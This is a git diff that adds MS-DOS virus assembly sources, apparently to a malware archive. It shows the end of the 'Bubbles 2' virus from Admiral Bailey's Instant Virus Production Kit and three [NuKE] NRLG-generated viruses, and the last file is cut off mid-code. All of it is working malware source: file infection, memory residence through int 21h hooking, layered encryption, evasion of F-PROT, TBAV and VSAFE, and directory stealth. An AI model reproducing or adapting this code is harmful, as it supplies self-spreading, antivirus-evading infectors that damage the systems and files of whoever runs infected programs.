+ + mov ah,9 ; Display string + lea dx,[bp+messege] ; The string to display + int 21h + + mov cx,2 + include .\routines\phasor.rtn ; Include file + +Dont_Activate: + ret + +Move_Fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +Set_DTA: + mov ah,1ah ; Move the DTA location + int 21h ; DX has location + retn + +Open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; Filename in DTA + int 21h + xchg ax,bx ; put file handle in bx + ret + +Attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret + +int24: ; New Int 24h + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Bubbles 2' ; Name Of The Virus +Author db 'Admiral Bailey' ; Author Of This Virus +messege: + db 'Bubbles 2 : Its back and better then ever.',10,13 + db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13 + db 'Is it me or does that Make no sense at all?',10,13 +Made_with db '[IVP2]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit + +Encrypt_Infect: + lea si,[bp+offset move_begin] ; Location of where to move from + lea di,[bp+offset workarea] ; Where to move it too + mov cx,move_end-move_begin ; Number of bytes to move +move_loop: + movsb ; Moves this routine into heap + loop move_loop + lea dx,[bp+offset workarea] + call dx ; Jump to that routine just moved + ret + +Move_Begin equ $ ; Marks beginning of move + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Call the encrypt_decrypt procedure + pop bx ; Get handle back in bx and return + mov ah,40h ; Write to file + mov cx,eof-virus ; Number of bytes + lea dx,[bp+offset virus] ; Where to write from + int 21h + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Decrypt the file and return + pop bx ; Get handle back in bx and return + ret +move_end equ $ ; Marks the end of move + +Encrypt_End equ $ ; Marks the end of encryption + +Encrypt_Decrypt: + mov cx,encrypt_end-encrypt_start ; bytes to encrypt + lea si,cs:[bp+encrypt_start] ; start of encryption + mov di,si +encloop: + lodsb + xor ah,cs:[bp+enc_value] + stosb + loop encloop + ret + +Enc_Value db 00h ; Hold the encryption value 00 for nul effect + +EOF equ $ ; Marks the end of file + +Counter db 0 ; Infected File Counter +Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine +currentdir db 64 dup (?) ; Holds the current dir +DTA db 42 dup (?) ; Location of new DTA +Buffer db 1ah dup (?) ; Holds exe header +OldInt24 dd ? ; Storage for old int 24h handler +Filler db 3000 dup (0) + +eov equ $ ; Used For Calculations + +code ends + end start + + +;--------- +; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee +; To compile this use TASM /M FILENAME.ASM +; Then type tlink /t FILENAME.OBJ +;--------- + diff --git a/MSDOS/Virus.MSDOS.Unknown.bug1039a.asm b/MSDOS/Virus.MSDOS.Unknown.bug1039a.asm new file mode 100644 index 00000000..6751a461 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bug1039a.asm @@ -0,0 +1,454 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +not byte ptr [di] +inc byte ptr [di] +not byte ptr [di] +add byte ptr [di],020h +add word ptr [di],0f8eah +sub byte ptr [di],01h +inc byte ptr [di] +add byte ptr [di],049h +inc byte ptr [di] +xor word ptr [di],0165dh +sub byte ptr [di],03bh +sub byte ptr [di],0d0h +inc word ptr [di] +sub byte ptr [di],039h +inc byte ptr [di] +inc byte ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +dec byte ptr [di] +dec byte ptr [di] +add byte ptr [di],039h +dec word ptr [di] +add byte ptr [di],0d0h +add byte ptr [di],03bh +xor word ptr [di],0165dh +dec byte ptr [di] +sub byte ptr [di],049h +dec byte ptr [di] +add byte ptr [di],01h +sub word ptr [di],0f8eah +sub byte ptr [di],020h +not byte ptr [di] +dec byte ptr [di] +not byte ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;------------------------ +action: ;Nothing Action! +NOP ;only replicate +ret ;Return to call +;------------------------ + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bug1039b.asm b/MSDOS/Virus.MSDOS.Unknown.bug1039b.asm new file mode 100644 index 00000000..9cf0a2eb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bug1039b.asm @@ -0,0 +1,444 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc word ptr [di] +add word ptr [di],08c7h +sub byte ptr [di],0c6h +add word ptr [di],0e613h +inc word ptr [di] +sub word ptr [di],05511h +not byte ptr [di] +xor word ptr [di],0ef35h +sub word ptr [di],03e9bh +inc word ptr [di] +add byte ptr [di],083h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +sub byte ptr [di],083h +dec word ptr [di] +add word ptr [di],03e9bh +xor word ptr [di],0ef35h +not byte ptr [di] +add word ptr [di],05511h +dec word ptr [di] +sub word ptr [di],0e613h +add byte ptr [di],0c6h +sub word ptr [di],08c7h +dec word ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;------------------------ +action: ;Nothing Action! +NOP ;only replicate +ret ;Return to call +;------------------------ + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bug1039c.asm b/MSDOS/Virus.MSDOS.Unknown.bug1039c.asm new file mode 100644 index 00000000..4cd3da79 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bug1039c.asm @@ -0,0 +1,444 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +add byte ptr [di],097h +add byte ptr [di],03h +not word ptr [di] +inc byte ptr [di] +xor byte ptr [di],0a8h +add byte ptr [di],088h +xor byte ptr [di],068h +sub byte ptr [di],04ah +sub word ptr [di],06023h +xor word ptr [di],06e4ch +sub word ptr [di],04620h +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h 